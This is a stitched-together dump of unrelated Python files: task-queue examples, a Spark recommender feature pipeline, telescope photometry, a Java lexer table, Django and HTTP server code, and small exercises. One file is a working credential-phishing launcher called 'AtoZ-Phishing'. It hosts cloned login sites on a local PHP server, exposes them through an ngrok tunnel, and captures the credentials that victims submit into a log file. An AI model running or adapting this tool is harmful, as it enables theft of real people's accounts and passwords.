cv2.imwrite('denred0_data/prepare_images_for_labeling/not_labeled/' + im.name, orig_image)
if __name__ == '__main__':
create_images_for_labeling()
|
nilq/baby-python
|
python
|
import datetime
import time
from huey import crontab
from hueyx.queues import hueyx
HUEY_Q1 = hueyx('queue1')
HUEY_Q2 = hueyx('queue2')
@HUEY_Q1.task()
def my_task1():
print('my_task1 called')
return 1
@HUEY_Q1.db_task()
def my_db_task1():
print('my_db_task1 called')
return 1
@HUEY_Q1.db_task(heartbeat_timeout=120)
def my_long_running_task1(heartbeat):
print(f'{datetime.datetime.now()} my_long_running_task1 called. Sleeps 60 seconds.')
time.sleep(60)
print(f'{datetime.datetime.now()} Finish my_long_running_task1.')
return 1
@HUEY_Q2.task()
def my_task2():
print('my_task2 called')
return 1
@HUEY_Q2.periodic_task(crontab(minute='*/1'))
def my_periodic_task2():
print('my_periodic_task2 called', datetime.datetime.now())
return 1
|
nilq/baby-python
|
python
|
"""The FleetGO component."""
|
nilq/baby-python
|
python
|
from typing import List
from .expresion_node import ExpressionNode
from .let_node import LetNode
class LetInNode(ExpressionNode):
def __init__(self, let_body: List[LetNode], in_body: ExpressionNode, line: int, column: int):
super(LetInNode, self).__init__(line, column)
self.let_body: List[LetNode] = let_body
self.in_body: ExpressionNode = in_body
|
nilq/baby-python
|
python
|
from pyspark import SparkContext, SparkConf
from pyspark.sql import SparkSession
import pyspark.sql as sql
from pyspark.sql.functions import *
from pyspark.sql.types import *
from collections import defaultdict
from pyspark.sql import functions as F
NUMBER_PRECISION = 2
def addSampleLabel(ratingSamples):
ratingSamples.show(5, truncate=False)
ratingSamples.printSchema()
sampleCount = ratingSamples.count()
ratingSamples.groupBy('rating').count().orderBy('rating').withColumn('percentage',
F.col('count') / sampleCount).show()
ratingSamples = ratingSamples.withColumn('label', when(F.col('rating') >= 3.5, 1).otherwise(0))
return ratingSamples
def extractReleaseYearUdf(title):
# add realease year
if not title or len(title.strip()) < 6:
return 1990
else:
yearStr = title.strip()[-5:-1]
return int(yearStr)
def addMovieFeatures(movieSamples, ratingSamplesWithLabel):
# add movie basic features
samplesWithMovies1 = ratingSamplesWithLabel.join(movieSamples, on=['movieId'], how='left')
# add releaseYear,title
samplesWithMovies2 = samplesWithMovies1.withColumn('releaseYear',
udf(extractReleaseYearUdf, IntegerType())('title')) \
.withColumn('title', udf(lambda x: x.strip()[:-6].strip(), StringType())('title')) \
.drop('title')
# split genres
samplesWithMovies3 = samplesWithMovies2.withColumn('movieGenre1', split(F.col('genres'), "\\|")[0]) \
.withColumn('movieGenre2', split(F.col('genres'), "\\|")[1]) \
.withColumn('movieGenre3', split(F.col('genres'), "\\|")[2])
# add rating features
movieRatingFeatures = samplesWithMovies3.groupBy('movieId').agg(F.count(F.lit(1)).alias('movieRatingCount'),
format_number(F.avg(F.col('rating')),
NUMBER_PRECISION).alias(
'movieAvgRating'),
F.stddev(F.col('rating')).alias(
'movieRatingStddev')).fillna(0) \
.withColumn('movieRatingStddev', format_number(F.col('movieRatingStddev'), NUMBER_PRECISION))
# join movie rating features
samplesWithMovies4 = samplesWithMovies3.join(movieRatingFeatures, on=['movieId'], how='left')
samplesWithMovies4.printSchema()
samplesWithMovies4.show(5, truncate=False)
return samplesWithMovies4
def extractGenres(genres_list):
'''
pass in a list which format like ["Action|Adventure|Sci-Fi|Thriller", "Crime|Horror|Thriller"]
count by each genre，return genre_list in reverse order
eg:
(('Thriller',2),('Action',1),('Sci-Fi',1),('Horror', 1), ('Adventure',1),('Crime',1))
return:['Thriller','Action','Sci-Fi','Horror','Adventure','Crime']
'''
genres_dict = defaultdict(int)
for genres in genres_list:
for genre in genres.split('|'):
genres_dict[genre] += 1
sortedGenres = sorted(genres_dict.items(), key=lambda x: x[1], reverse=True)
return [x[0] for x in sortedGenres]
def addUserFeatures(samplesWithMovieFeatures):
extractGenresUdf = udf(extractGenres, ArrayType(StringType()))
samplesWithUserFeatures = samplesWithMovieFeatures \
.withColumn('userPositiveHistory',
F.collect_list(when(F.col('label') == 1, F.col('movieId')).otherwise(F.lit(None))).over(
sql.Window.partitionBy("userId").orderBy(F.col("timestamp")).rowsBetween(-100, -1))) \
.withColumn("userPositiveHistory", reverse(F.col("userPositiveHistory"))) \
.withColumn('userRatedMovie1', F.col('userPositiveHistory')[0]) \
.withColumn('userRatedMovie2', F.col('userPositiveHistory')[1]) \
.withColumn('userRatedMovie3', F.col('userPositiveHistory')[2]) \
.withColumn('userRatedMovie4', F.col('userPositiveHistory')[3]) \
.withColumn('userRatedMovie5', F.col('userPositiveHistory')[4]) \
.withColumn('userRatingCount',
F.count(F.lit(1)).over(sql.Window.partitionBy('userId').orderBy('timestamp').rowsBetween(-100, -1))) \
.withColumn('userAvgReleaseYear', F.avg(F.col('releaseYear')).over(
sql.Window.partitionBy('userId').orderBy('timestamp').rowsBetween(-100, -1)).cast(IntegerType())) \
.withColumn('userReleaseYearStddev', F.stddev(F.col("releaseYear")).over(
sql.Window.partitionBy('userId').orderBy('timestamp').rowsBetween(-100, -1))) \
.withColumn("userAvgRating", format_number(
F.avg(F.col("rating")).over(sql.Window.partitionBy('userId').orderBy('timestamp').rowsBetween(-100, -1)),
NUMBER_PRECISION)) \
.withColumn("userRatingStddev", F.stddev(F.col("rating")).over(
sql.Window.partitionBy('userId').orderBy('timestamp').rowsBetween(-100, -1))) \
.withColumn("userGenres", extractGenresUdf(
F.collect_list(when(F.col('label') == 1, F.col('genres')).otherwise(F.lit(None))).over(
sql.Window.partitionBy('userId').orderBy('timestamp').rowsBetween(-100, -1)))) \
.withColumn("userRatingStddev", format_number(F.col("userRatingStddev"), NUMBER_PRECISION)) \
.withColumn("userReleaseYearStddev", format_number(F.col("userReleaseYearStddev"), NUMBER_PRECISION)) \
.withColumn("userGenre1", F.col("userGenres")[0]) \
.withColumn("userGenre2", F.col("userGenres")[1]) \
.withColumn("userGenre3", F.col("userGenres")[2]) \
.withColumn("userGenre4", F.col("userGenres")[3]) \
.withColumn("userGenre5", F.col("userGenres")[4]) \
.drop("genres", "userGenres", "userPositiveHistory") \
.filter(F.col("userRatingCount") > 1)
samplesWithUserFeatures.printSchema()
samplesWithUserFeatures.show(10)
samplesWithUserFeatures.filter(samplesWithMovieFeatures['userId'] == 1).orderBy(F.col('timestamp').asc()).show(
truncate=False)
return samplesWithUserFeatures
def splitAndSaveTrainingTestSamples(samplesWithUserFeatures, file_path):
smallSamples = samplesWithUserFeatures.sample(0.1)
training, test = smallSamples.randomSplit((0.8, 0.2))
trainingSavePath = file_path + '/trainingSamples'
testSavePath = file_path + '/testSamples'
training.repartition(1).write.option("header", "true").mode('overwrite') \
.csv(trainingSavePath)
test.repartition(1).write.option("header", "true").mode('overwrite') \
.csv(testSavePath)
def splitAndSaveTrainingTestSamplesByTimeStamp(samplesWithUserFeatures, file_path):
smallSamples = samplesWithUserFeatures.sample(0.1).withColumn("timestampLong", F.col("timestamp").cast(LongType()))
quantile = smallSamples.stat.approxQuantile("timestampLong", [0.8], 0.05)
splitTimestamp = quantile[0]
training = smallSamples.where(F.col("timestampLong") <= splitTimestamp).drop("timestampLong")
test = smallSamples.where(F.col("timestampLong") > splitTimestamp).drop("timestampLong")
trainingSavePath = file_path + '/trainingSamples'
testSavePath = file_path + '/testSamples'
training.repartition(1).write.option("header", "true").mode('overwrite') \
.csv(trainingSavePath)
test.repartition(1).write.option("header", "true").mode('overwrite') \
.csv(testSavePath)
if __name__ == '__main__':
conf = SparkConf().setAppName('featureEngineering').setMaster('local')
spark = SparkSession.builder.config(conf=conf).getOrCreate()
file_path = 'file:///Users/changwenbiao/jdwork/SparrowRecSys/src/main/resources'
movieResourcesPath = file_path + "/webroot/sampledata/movies.csv"
ratingsResourcesPath = file_path + "/webroot/sampledata/ratings.csv"
movieSamples = spark.read.format('csv').option('header', 'true').load(movieResourcesPath)
ratingSamples = spark.read.format('csv').option('header', 'true').load(ratingsResourcesPath)
ratingSamplesWithLabel = addSampleLabel(ratingSamples)
ratingSamplesWithLabel.show(10, truncate=False)
samplesWithMovieFeatures = addMovieFeatures(movieSamples, ratingSamplesWithLabel)
samplesWithUserFeatures = addUserFeatures(samplesWithMovieFeatures)
# save samples as csv format
splitAndSaveTrainingTestSamples(samplesWithUserFeatures, file_path + "/webroot/sampledata")
# splitAndSaveTrainingTestSamplesByTimeStamp(samplesWithUserFeatures, file_path + "/webroot/sampledata")
|
nilq/baby-python
|
python
|
from django.shortcuts import render
# Create your views here.
def home(request):
return render(request, 'website_component/home.html', {'ViewName': request})
|
nilq/baby-python
|
python
|
"""
Entradas
Salidas
Impares-->int-->a
"""
a=0
while(a<100):
if(a%2!=0 and a%7!=0):
print(a)
a=a+1
|
nilq/baby-python
|
python
|
from pyplan_core.classes.wizards.BaseWizard import BaseWizard
import json
class Wizard(BaseWizard):
def __init__(self):
self.code = "CreateIndex"
def generateDefinition(self, model, params):
nodeId = params["nodeId"]
if model.existNode(nodeId):
base_node = model.getNode(nodeId)
new_def = None
if params["type"] == "list":
index_values = params["values"]
index_values_str = json.dumps(index_values, ensure_ascii=False)
new_def = f"result = pd.Index({index_values_str})"
elif params["type"] == "range":
if params["rangeType"] == "string":
prefix = params["stringPrefix"]
index_values = [f'{prefix}{nn}' for nn in range(
int(params["from"]), int(params["to"])+1, int(params["step"]))]
str_values = json.dumps(index_values, ensure_ascii=False)
new_def = f"result = pd.Index({str_values})"
elif params["rangeType"] == "numeric":
index_values = list(range(int(params["from"]), int(
params["to"])+1, int(params["step"])))
str_values = json.dumps(index_values, ensure_ascii=False)
new_def = f"result = pd.Index({str_values})"
elif params["rangeType"] == "date":
freq = params["freq"]
start = params["start"] if "start" in params and params["start"] else None
end = params["end"] if "end" in params and params["end"] else None
periods = params["periods"] if "periods" in params and params["periods"] else None
if start and end:
new_def = f"result = pd.date_range(start='{start}', end='{end}',freq='{freq}')"
elif end:
new_def = f"result = pd.date_range(end='{end}', periods={periods},freq='{freq}')"
else:
new_def = f"result = pd.date_range(start='{start}', periods={periods},freq='{freq}')"
# test and set new definition
if new_def:
temp_res = model.evaluate(new_def)
base_node.definition = new_def
return nodeId
|
nilq/baby-python
|
python
|
# If we list all the natural numbers below 10 that are multiples of 3 or 5, we get 3, 5, 6 and 9. The sum of these multiples is 23.
# Find the sum of all the multiples of 3 or 5 below the provided parameter value number.
# multiplesOf3and5(10) should return a number.
# multiplesOf3and5(49) should return 543.
# multiplesOf3and5(1000) should return 233168.
# multiplesOf3and5(8456) should return 16687353.
# multiplesOf3and5(19564) should return 89301183.
def mul3and5(num):
lis = []
if num <3:
return 0
for i in range(num):
if not i%3 or not i%5:
lis.append(i)
return sum(lis)
# print(mul3and5())
|
nilq/baby-python
|
python
|
# lextab.py. This file automatically created by PLY (version 3.6). Don't edit!
_tabversion = '3.5'
_lextokens = set(['DO', 'REMAINDER_ASSIGN', 'RSHIFT', 'SYNCHRONIZED', 'GTEQ', 'MINUS_ASSIGN', 'OR_ASSIGN', 'VOID', 'STRING_LITERAL', 'ABSTRACT', 'CHAR', 'LSHIFT_ASSIGN', 'WHILE', 'SHORT', 'STATIC', 'PRIVATE', 'LSHIFT', 'CONTINUE', 'THROWS', 'NULL', 'TRUE', 'BYTE', 'NEQ', 'CASE', 'TIMES_ASSIGN', 'THROW', 'NEW', 'SWITCH', 'LONG', 'FINAL', 'PROTECTED', 'STRICTFP', 'IF', 'NUM', 'CATCH', 'ELLIPSIS', 'NATIVE', 'CLASS', 'BLOCK_COMMENT', 'IMPLEMENTS', 'TRANSIENT', 'LINE_COMMENT', 'FOR', 'PACKAGE', 'PLUSPLUS', 'AND_ASSIGN', 'RRSHIFT_ASSIGN', 'ENUM', 'ELSE', 'TRY', 'FINALLY', 'DIVIDE_ASSIGN', 'PUBLIC', 'MINUSMINUS', 'EQ', 'RRSHIFT', 'AND', 'ASSERT', 'RETURN', 'FALSE', 'NAME', 'XOR_ASSIGN', 'THIS', 'DOUBLE', 'LTEQ', 'RSHIFT_ASSIGN', 'CHAR_LITERAL', 'DEFAULT', 'FLOAT', 'BREAK', 'INT', 'BOOLEAN', 'VOLATILE', 'IMPORT', 'PLUS_ASSIGN', 'INTERFACE', 'EXTENDS', 'INSTANCEOF', 'SUPER', 'OR'])
_lexreflags = 0
_lexliterals = '()+-*/=?:,.^|&~!=[]{};<>@%'
_lexstateinfo = {'INITIAL': 'inclusive'}
_lexstatere = {'INITIAL': [('(?P<t_BLOCK_COMMENT>/\\*(.|\\n)*?\\*/)|(?P<t_NAME>[A-Za-z_$][A-Za-z0-9_$]*)|(?P<t_newline>\\n+)|(?P<t_newline2>(\\r\\n)+)|(?P<t_NUM>\\.?[0-9][0-9eE_lLdDa-fA-F.xXpP]*)|(?P<t_STRING_LITERAL>\\"([^\\\\\\n]|(\\\\.))*?\\")|(?P<t_CHAR_LITERAL>\\\'([^\\\\\\n]|(\\\\.))*?\\\')|(?P<t_ELLIPSIS>\\.\\.\\.)|(?P<t_ignore_LINE_COMMENT>//.*)|(?P<t_PLUSPLUS>\\+\\+)|(?P<t_MINUSMINUS>\\-\\-)|(?P<t_OR>\\|\\|)|(?P<t_RRSHIFT_ASSIGN>>>>=)|(?P<t_XOR_ASSIGN>\\^=)|(?P<t_RSHIFT_ASSIGN>>>=)|(?P<t_LSHIFT_ASSIGN><<=)|(?P<t_OR_ASSIGN>\\|=)|(?P<t_PLUS_ASSIGN>\\+=)|(?P<t_RRSHIFT>>>>)|(?P<t_TIMES_ASSIGN>\\*=)|(?P<t_LTEQ><=)|(?P<t_RSHIFT>>>)|(?P<t_AND_ASSIGN>&=)|(?P<t_DIVIDE_ASSIGN>/=)|(?P<t_GTEQ>>=)|(?P<t_MINUS_ASSIGN>-=)|(?P<t_EQ>==)|(?P<t_AND>&&)|(?P<t_REMAINDER_ASSIGN>%=)|(?P<t_NEQ>!=)|(?P<t_LSHIFT><<)', [None, ('t_BLOCK_COMMENT', 'BLOCK_COMMENT'), None, ('t_NAME', 'NAME'), ('t_newline', 'newline'), ('t_newline2', 'newline2'), None, (None, 'NUM'), (None, 'STRING_LITERAL'), None, None, (None, 'CHAR_LITERAL'), None, None, (None, 'ELLIPSIS'), (None, None), (None, 'PLUSPLUS'), (None, 'MINUSMINUS'), (None, 'OR'), (None, 'RRSHIFT_ASSIGN'), (None, 'XOR_ASSIGN'), (None, 'RSHIFT_ASSIGN'), (None, 'LSHIFT_ASSIGN'), (None, 'OR_ASSIGN'), (None, 'PLUS_ASSIGN'), (None, 'RRSHIFT'), (None, 'TIMES_ASSIGN'), (None, 'LTEQ'), (None, 'RSHIFT'), (None, 'AND_ASSIGN'), (None, 'DIVIDE_ASSIGN'), (None, 'GTEQ'), (None, 'MINUS_ASSIGN'), (None, 'EQ'), (None, 'AND'), (None, 'REMAINDER_ASSIGN'), (None, 'NEQ'), (None, 'LSHIFT')])]}
_lexstateignore = {'INITIAL': ' \t\x0c'}
_lexstateerrorf = {'INITIAL': 't_error'}
_lexstateeoff = {}
|
nilq/baby-python
|
python
|
from vpv.ui.controllers import importer
from pathlib import Path
import pytest
def test_folder_filter():
#path: str, folder_include_pattern: str
assert importer.folder_filter('/mnt/bit_nfs/neil/mutants/output/jag2/20150409_JAG2_E14.5_13.3f_HOM_XX_REC_scaled_4.6823_pixel_14.0001/output/registrations/deformable_192_to_10/20150409_JAG2_E14.5_13.3f_HOM_XX_REC_scaled_4.6823_pixel_14.0001/20150409_JAG2_E14.5_13.3f_HOM_XX_REC_scaled_4.6823_pixel_14.0001.nrrd')
|
nilq/baby-python
|
python
|
from django.urls import path,include
from . import views
from bookshop.views import index
from django.contrib.auth import views as auth_views
urlpatterns = [
path('account/register',views.register,name='register'),
path('account/login',views.login,name='login'),
path('dashboard',index,name='dashboard'),
path('logout/',auth_views.LogoutView.as_view(template_name='bookshop/index.html'),name='logout'),
]
|
nilq/baby-python
|
python
|
import numpy as np
import matplotlib.pyplot as plt
from astropy.io import fits
from astropy import wcs
from astropy.io import ascii
# TODO set the
# UC4 296-009008
# (90.140913, -30.99747)
# ASASSN ID AP 18326421 V=12.79
def find_min(xobj,yobj, xlist, ylist):
'find the index of the star closest to position xobj, yobj'
dr = (xlist-xobj)**2 + (ylist-yobj)**2
# find min dr
ind = np.argmin(dr)
print(np.sqrt(dr[ind]))
return ind
from astropy.table import Table
from pathlib import Path
from astropy.io import ascii
# read in aavso table as a template
d = ascii.read('00demo_aavso.txt')
outf = 'obs_LCOGT_MAK.ecsv'
# get a list of all the AAVSO files in the directory
my_file = Path(outf)
if my_file.is_file():
# file exists
print('{} exists! Reading in...'.format(my_file))
t = ascii.read(outf)
else: # if it does not exist, make it for the first time
print('{} does not exist. Processing all the files.'.format(my_file))
t = ascii.read('00demo_aavso.txt')
t['lco_filename']=['verylongfilenameusedtomakestaaasduffgoon']
t['MJD'] = 12345.00
t['LAT'] = 0.00
t['LON'] = 0.00
t.replace_column('Band',['3lf'])
t.replace_column('Star Name',['ASASSN-V J060000.76-310027.83'])
t.replace_column('Comp Star 1',['UC4 296-009008'])
t.remove_column('Charts')
t.remove_row(0)
# print(t.columns)
# process all the files in the list and add them to the table
for imname in Path('./').rglob('*e91.fits.fz'):
# is imname already in the table under the lco_filename
if (t['lco_filename'].size > 0):
if (np.any(t['lco_filename'] == imname.name)):
print('{} already processed. skipping...'.format(imname))
continue
hdu1 = fits.open(imname)
with fits.open(imname) as hdul:
print('processing: ',imname)
imh = hdu1['SCI'].header
epoch = imh['MJD-OBS']
print('{:.5f} MJD'.format(epoch))
print(imname)
t.add_row()
t[-1]['Band'] = imh['FILTER']
t[-1]['MJD'] = imh['MJD-OBS']
t[-1]['lco_filename'] = imname
t[-1]['Observer Code'] = 'MAK'
t[-1]['Airmass'] = 0.0
t[-1]['Observer Affiliation'] = imh['SITEID']
t[-1]['LAT'] = imh['LATITUDE']
t[-1]['LON'] = imh['LONGITUD']
t[-1]['Airmass'] = imh['AIRMASS']
t[-1]['Star Name'] = 'ASASSN-V J060000.76-310027.83'
t[-1]['Comp Star 1'] = 'UC4 296-009008'
phot = hdu1['CAT'].data
# calculate the flux of the star relative to the STD star
# Parse the WCS keywords in the primary HDU
w = wcs.WCS(hdu1['SCI'].header)
# Print out the "name" of the WCS, as defined in the FITS header
#print(w.wcs.name)
# Print out all of the settings that were parsed from the header
#w.wcs.print_contents()
# star coords in pix
star_crd = w.wcs_world2pix([[90.0033, -31.0076]], 0) # star
# RA
#90.0033 (06:00:00.792)
#Dec
#-31.0076 (-31:00:27.36)
#Epoch
#2000
# reference star UC4 296-009008
refe_crd = w.wcs_world2pix([[90.1409130, -30.9974700]], 0) # 296-009008
#print(refe_crd)
star_arg = find_min(star_crd[0][0], star_crd[0][1], phot['x'], phot['y'])
#print(star_arg)
refe_arg = find_min(refe_crd[0][0], refe_crd[0][1], phot['x'], phot['y'])
#print(refe_arg)
targflux = phot['flux'][star_arg]
targfluxerr = phot['fluxerr'][star_arg]
refflux = phot['flux'][refe_arg]
reffluxerr = phot['fluxerr'][refe_arg]
print('star flux is {:.1f} +- {:.1f}'.format(targflux, targfluxerr))
print('refe flux is {:.1f} +- {:.1f}'.format(refflux, reffluxerr))
dm = -2.5 * np.log10(targflux/refflux)
dmerr = np.sqrt( (targfluxerr/targflux)**2 + (reffluxerr/refflux)**2) * dm
print()
print('delta mag is {:.3f}+-{:.3f} mag'.format(dm, dmerr))
mag = dm + 13.054 # 13.054 is g' magnitude eyeballed from ASAS-SN
t[-1]['Magnitude'] = mag
t[-1]['Uncertainty'] = dmerr
t.sort('MJD')
# write out the table
t.write(outf, format='ascii.ecsv', overwrite=True)
print(t)
|
nilq/baby-python
|
python
|
# @file globalclasses.py
# @brief global classes and objects
# -
# MODULE_ARCH:
# CLASS_ARCH:
# README:
# Global variables dependence:
#
#standard
#start.py
#[GAP=FastApp(), life_cycle: always exist]
#used by: start.py, scli.py
#init at: start.globalclasses_init()
global GAP
GAP=None
# refer configobj.readthedocs.io
global SETTING
SETTING = None
global UI
UI = None
global MODEL
MODEL = None
global LASSDATA
LASSDATA = None
global ENVDATA
ENVDATA = None
|
nilq/baby-python
|
python
|
from http.server import HTTPServer, BaseHTTPRequestHandler
from logger import logger
from config import change_config, get_config
BADREQUEST = 400
handlers = {
'get': [],
'post': []
}
class BaseServer(BaseHTTPRequestHandler):
def match_and_call(self, method):
url = self.path.replace('..', '') # /?r=128&g=128&b=128
global handlers
match = False
for key, handler in handlers[method]:
# matcher might be a string
# or a function
matcher = key
if type(matcher) == str:
if matcher == '*':
matcher = lambda: True
elif method.lower() == 'get':
matcher = lambda url: url.split('?')[0] == key.split('?')[0]
elif method.lower() == 'post':
matcher = lambda url: url == key
if matcher(url):
handler(self)
match = True
break
if not match:
# default handler
logger.info('invalid request!')
# was not a valid request
self.send_response(BADREQUEST)
self.end_headers()
def do_POST(self):
self.match_and_call('post')
def do_GET(self):
self.match_and_call('get')
class SezanlightRequestHandler:
def add_route(self, method, matcher, handler):
"""matcher can be a lambda function that receives
the url and that returns true or false, a string,
or a single wildcard to match any url for the given
method"""
msg = 'a matcher function'
if type(matcher) == str:
msg = matcher
if matcher == '*':
msg = 'any url'
self.httpserver = None
global handlers
handlers[method.lower()].append((matcher, handler))
print('adding {} route for {}'.format(method, msg))
def start(self):
raspberry_ip = get_config('raspberry_ip', '0.0.0.0')
raspberry_port = get_config('raspberry_port', 3546)
logger.info('listening on {}:{}'.format(raspberry_ip, raspberry_port))
self.httpserver = HTTPServer((raspberry_ip, raspberry_port), BaseServer)
self.httpserver.serve_forever()
server = SezanlightRequestHandler()
|
nilq/baby-python
|
python
|
'''MIT License
Copyright (c) 2021 Aditya Dangwal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
'''
import requests , os
import wget
import re
import sys
red="\033[1;31;40m"
green="\033[1;32;40m"
yellow="\033[1;33;40m"
purple="\033[1;34;40m"
pink="\033[1;35;40m"
blue="\033[1;36;40m"
def banner():
os.system("clear")
print(f"""{blue}
{red} █████╗ ████████╗ ██████╗ ███████╗ {yellow} ██████╗ ██╗ ██╗██╗███████╗██╗ ██╗██╗███╗ ██╗ ██████╗
{red}██╔══██╗╚══██╔══╝██╔═══██╗╚══███╔╝ {yellow} ██╔══██╗██║ ██║██║██╔════╝██║ ██║██║████╗ ██║██╔════╝
{red}███████║ ██║ ██║ ██║ ███╔╝█████╗{yellow}██████╔╝███████║██║███████╗███████║██║██╔██╗ ██║██║ ███╗
{red}██╔══██║ ██║ ██║ ██║ ███╔╝ ╚════╝{yellow}██╔═══╝ ██╔══██║██║╚════██║██╔══██║██║██║╚██╗██║██║ ██║
{red}██║ ██║ ██║ ╚██████╔╝███████╗ {yellow} ██║ ██║ ██║██║███████║██║ ██║██║██║ ╚████║╚██████╔╝
{red}╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ {yellow}╚═╝ ╚═╝ ╚═╝╚═╝╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝ ╚═════╝
{blue}Created By {pink}Technical Dangwal
{green}Help - show options
""")
dict={}
def show_folder():
show=os.listdir("sites")
for count,folder in enumerate(show,1):
dict[count]=folder
def start_server(id):
os.system("clear")
print(f"{yellow}Starting PHP Server")
os.chdir(f"sites/{dict[id]}")
os.system("php -S localhost:4444 > /dev/null 2>&1 &")
def start_ngrok(path):
try:
os.chdir(path)
if os.path.isfile("ngrok"):
print(f"{yellow}Starting Ngrok Server ")
os.system("./ngrok http 4444 > /dev/null 2>&1 &")
os.system("sleep 5")
os.system("termux-open-url http://localhost:4040")
else:
wget.download("https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip")
os.system("unzip ngrok*")
os.system("rm ngrok-stable-linux-arm.zip")
print(f"{yellow}Starting Ngrok Server ")
os.system("./ngrok http 4444 > /dev/null 2>&1 &")
os.system("sleep 5")
os.system("termux-open-url http://localhost:4040")
except:
print(f"{red}Please Open Your Hotspot Otherwise You Cann't get link ")
def get_cred(id):
os.chdir(f"sites/{dict[id]}")
print(f"{red}[{blue}*{red}] {green} Waiting Credentials , {blue}Press ctrl+c To Exit")
try:
while(True):
if os.path.isfile("log.txt"):
os.system("tail -f log.txt")
except:
os.system("killall -9 php > /dev/null 2>&1 &")
os.system("killall -9 ngrok > /dev/null 2>&1 &")
file=input(f"{yellow}Are you want to save this credential on a file (Y/N): {green}")
if file=="Y" or file=="y":
file=input(f"{yellow}filename: {green}")
os.system(f"mv log.txt {file}")
os.system(f"mv {file} $HOME/AtoZ-Phishing/files")
print(f"{yellow}Thanks For Using This Tool.\033[0m")
sys.exit()
else:
try:
os.remove("log.txt")
print(f"{yellow}Thanks For Using This Tool.\033[0m")
sys.exit()
except:
pass
banner()
p=os.getcwd()
while(1):
try:
user=input(f"{blue}AtoZ-Phishing =>{green} ")
user=user.strip()
if user=="Help" or user=="help":
print(f"""{red}search: {blue}By typing search you can find whatever you want related to phishing sites (example: searching instagram)
{red}show: {blue}show all phishing sites
{red}start: {blue}Start attack (example
{blue}AtoZ-Phishing => {green}start
{yellow}No.: {green}Type the number according to given sequence (by type show in terminal)
{red}id: {blue}It show your save ids
{red}removeid: {blue}If you want to remove your save ids then type removeids
{red}exit: {blue}Want to exit then write exit.
{red}uninstall: {blue}if you want to delete this tool then type uninstall and here it is done.
{red}subscribe: {blue}You can enter into my channel by easily type subscribe.
""")
elif user=="show" or user=="Show":
show_folder()
for count,file in dict.items():
print(f"{red}[{green}{count}{red}] {yellow}{file}")
elif user=="exit" or user=="Exit":
print(f"{yellow}Thanks For Using This Tool.\033[0m")
break
elif user=="search" or user=="Search":
print(f"{yellow}[00] Back")
search=input(f"{yellow}Search: {green}")
show_folder()
if search==00 or search==0:
continue
print(f"{yellow}Number phishingSites")
for key,value in dict.items():
r=re.findall(search+".*",value)
if r:
print(f"{yellow}{key} {red} {r}")
elif user=="start" or user=="Start":
print(f"{yellow}[00] Back")
id=int(input(f"{yellow}No.: {green}"))
if id==00 or id==0:
continue
show_folder()
start_server(id)
start_ngrok(p)
get_cred(id)
elif user=="id" or user=="Id":
os.system("cat $HOME/AtoZ*/files/*")
elif user=="removeid":
os.system("rm $HOME/AtoZ*/files/*")
elif user=="uninstall" or user=="Uninstall":
os.system("rm -rf $HOME/a")
break
elif user=="Subscribe" or user=="subscribe":
os.system("termux-open-url https://www.youtube.com/channel/UCpFKalNOjvtB8Cnm40VGq2Q")
else:
print(f"{red}Wrong Input")
except:
pass
|
nilq/baby-python
|
python
|
from data_collection.management.commands import BaseHalaroseCsvImporter
class Command(BaseHalaroseCsvImporter):
council_id = "E07000107"
addresses_name = (
"local.2019-05-02/Version 1/polling_station_export-2019-03-04Dart.csv"
)
stations_name = (
"local.2019-05-02/Version 1/polling_station_export-2019-03-04Dart.csv"
)
elections = ["local.2019-05-02"]
def station_record_to_dict(self, record):
rec = super().station_record_to_dict(record)
if not rec:
return rec
if rec["internal_council_id"] in [
"54-hodsoll-street-ridley-village-hall",
"57-fawkham-and-hartley-church-centre",
]:
return None
return rec
def address_record_to_dict(self, record):
rec = super().address_record_to_dict(record)
uprn = record.uprn.strip().lstrip("0")
if record.pollingstationnumber == "n/a":
return None
if record.houseid.strip() in ["9004672", "9004673"]:
rec["postcode"] = "DA2 7AP"
if uprn in [
"10023438353", # DA11JB -> DA11HS : Flat Above The Plough 110 Lowfield Street, Dartford, Kent
"100060873013", # DA28AX -> DA28DL : Beacon House Shellbank Lane, Bean, Dartford, Kent
]:
rec["accept_suggestion"] = True
if uprn in [
"100060862814" # DA99XT -> DA13JB : 104 Havelock Drive, Greenhithe, Kent
]:
rec["accept_suggestion"] = False
return rec
|
nilq/baby-python
|
python
|
import numpy as np
def check_temperature(T, melting_point=3000):
"""
Check if an instantaneous temperature will melt the divertor.
"""
if T > melting_point:
print("Destroyed divertor!")
melted = True
elif T <= 0:
raise ValueError("Unphysical temperature value!")
else:
melted = False
return melted
def reactor_survived(temp_time_series):
"""
Check that the divertor survived a whole shot.
"""
survived = True
for T in temp_time_series:
if check_temperature(T):
survived = False
return survived
|
nilq/baby-python
|
python
|
# T-SNEを用いた文章分散表現の可視化
import sys, os
sys.path.append('../')
from src import *
import matplotlib.pyplot as plt
import japanize_matplotlib
import numpy as np
from scipy import sparse
def visualize(xs, ys, labels, dataname):
plt.figure(figsize=(15, 15), dpi=300)
emotion = [ "happy", "sad", "angry", "fear/surprise", "other" ]
np.savez_compressed(f"./fig/{dataname}.npz", xs, ys, labels)
for i, e in enumerate(emotion):
idx = np.where(labels==i)
plt.scatter(xs[idx], ys[idx], s=200, label=e)
plt.legend()
plt.title(dataname)
plt.savefig(f'./fig/{dataname}.png', dpi=300)
def train(vec):
model = BHTSNE(n_components=2, random_state=71)
np.set_printoptions(suppress=True)
return model.fit_transform(vec)
